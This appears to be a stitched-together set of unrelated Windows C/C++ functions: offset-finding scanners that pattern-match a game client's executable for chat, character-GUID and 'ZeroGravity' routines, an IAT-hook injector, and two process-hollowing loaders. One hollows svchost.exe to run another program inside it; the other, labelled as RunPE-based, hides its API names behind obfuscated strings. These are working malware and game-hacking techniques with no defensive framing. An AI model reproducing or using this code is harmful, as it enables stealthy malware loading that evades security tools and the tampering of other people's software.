VOID scanSendChatMessage_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan data section for "Unknown chat type" for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Unknown chat type") - 1); dwDataIndex++) { if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Unknown chat type", sizeof("Unknown chat type") - 1)) { // calculate va of found string DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwDataIndex - PtrToUlong(pbFile)); if(dwStringVA) { dwStringVA += pNtHdr->OptionalHeader.ImageBase; // scan code section for 'push dwStringVA' for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 8; dwCodeIndex++) { if(pbCode[dwCodeIndex] == 0x68 && *((PDWORD)&pbCode[dwCodeIndex + 1]) == dwStringVA) { // find beginning of procedure for(DWORD dwCodeIndex2 = dwCodeIndex & 0xFFFFFFF0; dwCodeIndex2; dwCodeIndex2 -= 0x10) { if(pbCode[dwCodeIndex2 - 1] == 0x90 || pbCode[dwCodeIndex2 - 1] == 0xC3 || pbCode[dwCodeIndex2 - 3] == 0xC2) { DWORD dwProcRva = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)); if(dwProcRva) { GetPPD(iItem, hwndDlg)->dwValue = dwProcRva + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }
PLOADED_IMAGE IATHookInjector::ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) const { auto lpBuffer = new BYTE[BUFFER_SIZE]; auto bSuccess = ReadProcessMemory(hProcess, lpImageBaseAddress, lpBuffer, BUFFER_SIZE, nullptr); if (!bSuccess) { return nullptr; } auto pDOSHeader = PIMAGE_DOS_HEADER(lpBuffer); auto pImage = new LOADED_IMAGE(); pImage->FileHeader = PIMAGE_NT_HEADERS(lpBuffer + pDOSHeader->e_lfanew); pImage->NumberOfSections = pImage->FileHeader->FileHeader.NumberOfSections; pImage->Sections = PIMAGE_SECTION_HEADER(lpBuffer + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); return pImage; }
DWORD OffsetToRva(PBYTE pbImage, DWORD dwOffset) { DWORD dwSecBorder = -1; PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew); PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS)); for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++) { if(dwOffset >= pSec[x].PointerToRawData && dwOffset < pSec[x].PointerToRawData + pSec[x].SizeOfRawData) return (dwOffset - pSec[x].PointerToRawData + pSec[x].VirtualAddress); if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder) dwSecBorder = pSec[x].PointerToRawData; } if(dwOffset < dwSecBorder) return dwOffset; else return NULL; }
PBYTE RvaToPointer(PBYTE pbImage, DWORD dwRva) { DWORD dwSecBorder = -1; PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pbImage + PIMAGE_DOS_HEADER(pbImage)->e_lfanew); PIMAGE_SECTION_HEADER pSec = PIMAGE_SECTION_HEADER(PBYTE(pNt) + sizeof(IMAGE_NT_HEADERS)); for(DWORD x = 0; x < pNt->FileHeader.NumberOfSections; x++) { if(dwRva >= pSec[x].VirtualAddress && dwRva < pSec[x].VirtualAddress + pSec[x].Misc.VirtualSize) return (pbImage + (dwRva - pSec[x].VirtualAddress + pSec[x].PointerToRawData)); if(pSec[x].PointerToRawData && pSec[x].PointerToRawData < dwSecBorder) dwSecBorder = pSec[x].PointerToRawData; } if(dwRva < dwSecBorder) return pbImage + dwRva; else return NULL; }
BOOL GetSetThreadContext_Injection() { TCHAR lpApplicationName[] = _T("C:\\Windows\\System32\\svchost.exe"); TCHAR lpApplicationName2[] = _T("C:\\masm32\\examples\\dialogs_later\\basic\\basicdlg.exe"); BOOL bResult; STARTUPINFO StartupInfo; PROCESS_INFORMATION ProcessInfo; SecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); SecureZeroMemory(&ProcessInfo, sizeof(PPROCESS_INFORMATION)); // Create the hollowed process in suspended mode bResult = CreateProcess(lpApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo); if (bResult == NULL){ print_last_error(_T("CreateProcess")); return FALSE; } // Allocate space for context structure PCONTEXT pContext; LPVOID pTargetImageBase = NULL; pContext = PCONTEXT(VirtualAlloc(NULL, sizeof(LPVOID), MEM_COMMIT, PAGE_READWRITE)); if (pContext == NULL) { print_last_error(_T("VirtualAlloc")); return FALSE; } // Get the thread context of target pContext->ContextFlags = CONTEXT_FULL; bResult = GetThreadContext(ProcessInfo.hThread, pContext); if (bResult == NULL) { print_last_error(_T("GetThreadContext")); return FALSE; } // Read the image base address of target ReadProcessMemory(ProcessInfo.hProcess, LPCVOID(pContext->Ebx + 8), pTargetImageBase, 4, NULL); // Opening source image HANDLE hFile = CreateFile(lpApplicationName2, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { print_last_error(_T("CreateFile")); return FALSE; } // Reading the file DWORD dwSize = GetFileSize(hFile, 0); DWORD dwBytesRead; PBYTE pBuffer = new BYTE[dwSize]; ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); PIMAGE_SECTION_HEADER pImageSectionHeader; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer; if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE) { PIMAGE_NT_HEADERS32 pNTHeaders = PIMAGE_NT_HEADERS(DWORD(pBuffer) + pDosHeader->e_lfanew); if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE) { if (DWORD(pTargetImageBase) == pNTHeaders->OptionalHeader.ImageBase) { pNtUnmapViewOfSection NtUnmapViewOfSection; NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection")); NtUnmapViewOfSection(ProcessInfo.hProcess, pTargetImageBase); } LPVOID pImageBase; pImageBase = VirtualAllocEx(ProcessInfo.hProcess, LPVOID(pNTHeaders->OptionalHeader.ImageBase), pNTHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pImageBase == NULL) { print_last_error(_T("VirtualAllocEx")); return FALSE; } WriteProcessMemory(ProcessInfo.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL); for (int Count = 0; Count < pNTHeaders->FileHeader.NumberOfSections; Count++) { pImageSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pBuffer) + pDosHeader->e_lfanew + 248 + (Count * 40)); WriteProcessMemory(ProcessInfo.hProcess, LPVOID(DWORD(pImageBase) + pImageSectionHeader->VirtualAddress), LPVOID(DWORD(pBuffer) + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL); } WriteProcessMemory(ProcessInfo.hProcess, LPVOID(pContext->Ebx + 8), LPVOID(&pNTHeaders->OptionalHeader.ImageBase), 4, NULL); pContext->Eax = DWORD(pImageBase) + pNTHeaders->OptionalHeader.AddressOfEntryPoint; SetThreadContext(ProcessInfo.hThread, LPCONTEXT(pContext)); ResumeThread(ProcessInfo.hThread); } } return TRUE; }
VOID scanZeroGravity_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan for 'and reg, 75BFEDFF' for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 6; dwCodeIndex++) { if(*((PDWORD)&pbCode[dwCodeIndex]) == 0x75BFEDFF && (pbCode[dwCodeIndex - 1] == 0x25 || ((pbCode[dwCodeIndex - 1] & 0xF8) == 0xE0 && pbCode[dwCodeIndex - 2] == 0x81))) { // search for long jump or call following and instruction for(DWORD dwCodeIndex2 = dwCodeIndex + 4; dwCodeIndex2 - dwCodeIndex < 20; dwCodeIndex2++) { if(pbCode[dwCodeIndex2] == 0xE9 || pbCode[dwCodeIndex2] == 0xE8) { // get offset of jump location DWORD dwJumpOffset = (dwCodeIndex2 + 5) + *((PDWORD)&pbCode[dwCodeIndex2 + 1]); // scan for 'test [reg+disp], 4000000h' for(DWORD dwCodeIndex3 = dwJumpOffset; dwCodeIndex3 - dwJumpOffset < 500; dwCodeIndex3++) { if(*((PDWORD)&pbCode[dwCodeIndex3]) == 0x04000000) { if(pbCode[dwCodeIndex3 - 3] == 0xF7) // short displacement { // find a je to this instruction for(DWORD dwCodeIndex4 = dwCodeIndex3 - 5; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--) { if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 3) - (dwCodeIndex4 + 2))) { // search for 'mov [reg+disp], reg' above the jump for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--) { if(pbCode[dwCodeIndex5] == 0x89) { // search for 'mov reg, [reg+disp] for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--) { if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38)) { GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } else if(pbCode[dwCodeIndex3 - 6] == 0xF7) // long displacement { // find a je to this instruction for(DWORD dwCodeIndex4 = dwCodeIndex3 - 8; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--) { if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 6) - (dwCodeIndex4 + 2))) { // search for mov '[reg+disp], reg' above the jump for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--) { if(pbCode[dwCodeIndex5] == 0x89) { // search for 'mov reg, [reg+disp] for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--) { if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38)) { GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }
// ExecFile based on RUNPE work (c) Someone 2009 void ExecFile(LPSTR szFilePath, LPVOID pFile) { // On va creer un process suspendu, demapper le nouveau process, aligner la taille avce notre pe // recopier notre pe dans les sections, demarre et sauter dans le process PIMAGE_DOS_HEADER IDH; // Structure http://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html PIMAGE_NT_HEADERS INH; PIMAGE_SECTION_HEADER ISH; PROCESS_INFORMATION PI; STARTUPINFOA SI; PCONTEXT CTX; PDWORD dwImageBase; PNtUnmapViewOfSection xNtUnmapViewOfSection; PWriteProcessMemory xWriteProcessMemory ; PNtResumeThread xNtResumeThread; PGetThreadContext xGetThreadContext; PSetThreadContext xSetThreadContext; PGetProcAddress xGetProcAddress; PCreateProcessA xCreateProcessA; PReadProcessMemory xReadProcessMemory; PLoadLibrary xLoadLibrary; PVirtualAllocEx xVirtualAllocEx; LPVOID pImageBase; int Count; int extern str_ntdll() asm ("str_ntdll"); int extern str_kernel32() asm ("str_kernel32"); int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); int extern str_GetProcAddress() asm ("str_GetProcAddress"); int extern str_ReadProcAddress() asm ("str_ReadProcAddress"); int extern str_WriteProcessMemory() asm ("str_WriteProcessMemory"); int extern str_GetThreadContext() asm ("str_GetThreadContext"); int extern str_SetThreadContext() asm ("str_SetThreadContext"); int extern str_ReadProcessMemory() asm ("str_ReadProcessMemory"); int extern str_CreateProcessA() asm ("str_CreateProcessA"); int extern str_NtResumeThread() asm ("str_NtResumeThread"); int extern str_NtUnmapViewOfSection() asm ("str_NtUnmapViewOfSection"); int extern str_VirtualAllocEx() asm ("str_VirtualAllocEx"); xLoadLibrary = (PLoadLibrary) getfunction (findkernel() ,ostring((unsigned char *) &str_LoadLibrary )); HINSTANCE Hkernel32 = xLoadLibrary((LPCTSTR) ostring((unsigned char *) &str_kernel32 )); HINSTANCE Hntdll = xLoadLibrary((LPCTSTR) ostring((unsigned char * ) &str_ntdll )); xGetProcAddress = (PGetProcAddress) getfunction(findkernel(),ostring((unsigned char *) &str_GetProcAddress)); xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext)); xNtResumeThread = (PNtResumeThread)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *) &str_NtResumeThread))); IDH = PIMAGE_DOS_HEADER(pFile); if (IDH->e_magic == IMAGE_DOS_SIGNATURE) { // TEST MZ INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew); if (INH->Signature == IMAGE_NT_SIGNATURE) { // TESTPE RtlZeroMemory(&SI, sizeof(SI)); RtlZeroMemory(&PI, sizeof(PI)); // Cree un process etat suspendu xCreateProcessA = (PCreateProcessA) (xGetProcAddress(Hkernel32,(LPCSTR) ostring((unsigned char *) &str_CreateProcessA))); if (xCreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; xGetThreadContext = ( PGetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_GetThreadContext)); if (xGetThreadContext(PI.hThread, LPCONTEXT(CTX))){ xReadProcessMemory = (PReadProcessMemory) getfunction(findkernel(), ostring((unsigned char *)&str_ReadProcessMemory)); xReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL); // Mappe l'exe dans la thread if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase) { vaauxfraises(DWORD(dwImageBase)); xNtUnmapViewOfSection = (PNtUnmapViewOfSection)(xGetProcAddress(Hntdll,(LPCSTR) ostring((unsigned char *)&str_NtUnmapViewOfSection))); xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase)); } xVirtualAllocEx = ( PVirtualAllocEx) getfunction(findkernel(),ostring((unsigned char *)&str_VirtualAllocEx)); pImageBase = xVirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); if (pImageBase) { // HMODULE aKERNEL32=LoadLibrary(vKERNEL32); xWriteProcessMemory = (PWriteProcessMemory) getfunction(findkernel(),ostring((unsigned char *)&str_WriteProcessMemory)); xWriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL); for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++) { ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40)); startrand(); xWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL); } xWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL); CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint; // Et on demarre la thread xSetThreadContext = ( PSetThreadContext) getfunction(findkernel(),ostring((unsigned char *)&str_SetThreadContext)); xSetThreadContext(PI.hThread, LPCONTEXT(CTX)); startrand(); xNtResumeThread(PI.hThread); } } } } } GetLastError(); VirtualFree(pFile, 0, MEM_RELEASE); }
VOID scanGetCharacterGuid_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan data section for "Player_C.h" for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Player_C.h") - 1); dwDataIndex++) { if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Player_C.h", sizeof("Player_C.h") - 1)) { // found "Player_C.h", now scan for beginning of the string DWORD dwStringIndex; for(dwStringIndex = dwDataIndex - 1; dwStringIndex && pbData[dwStringIndex] >= 0x20 && pbData[dwStringIndex] <= 0x7E; dwStringIndex--); dwStringIndex++; // calculate va of found string DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwStringIndex - PtrToUlong(pbFile)); if(dwStringVA) { dwStringVA += pNtHdr->OptionalHeader.ImageBase; // scan code section for 'mov edx, dwStringVA' BYTE bMoveIns[5]; bMoveIns[0] = 0xBA; *((PDWORD)&bMoveIns[1]) = dwStringVA; for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - sizeof(bMoveIns); dwCodeIndex++) { if(MemoryCompare(&pbCode[dwCodeIndex], bMoveIns, sizeof(bMoveIns))) { // found mov instruction, make sure next instruction is 'mov ecx, constant' if(pbCode[dwCodeIndex + 5] == 0xB9) { // make sure instruction following 'mov ecx, constant' is a call relative if(pbCode[dwCodeIndex + 10] == 0xE8) { // somewhere before the 'mov edx, dwStringVA' instruction there must be this code: // call relative // push edx // push eax for(DWORD dwCodeIndex2 = dwCodeIndex - 2; dwCodeIndex - dwCodeIndex2 < 20; dwCodeIndex2--) { if(*((PWORD)&pbCode[dwCodeIndex2]) == 0x5052 && pbCode[dwCodeIndex2 - 5] == 0xE8) { // lastly check for a 'push constant' instruction before those two register pushes instruction for(DWORD dwCodeIndex3 = dwCodeIndex2 - 5; dwCodeIndex2 - dwCodeIndex3 < 20; dwCodeIndex3--) { if(pbCode[dwCodeIndex3] == 0x68) { // we need to decode the call relative preceeding the two register pushes // calculate va of next instruction following call DWORD dwFollowingVA = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; if(dwFollowingVA) { GetPPD(iItem, hwndDlg)->dwValue = dwFollowingVA + *((PDWORD)&pbCode[dwCodeIndex2 - 4]); SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }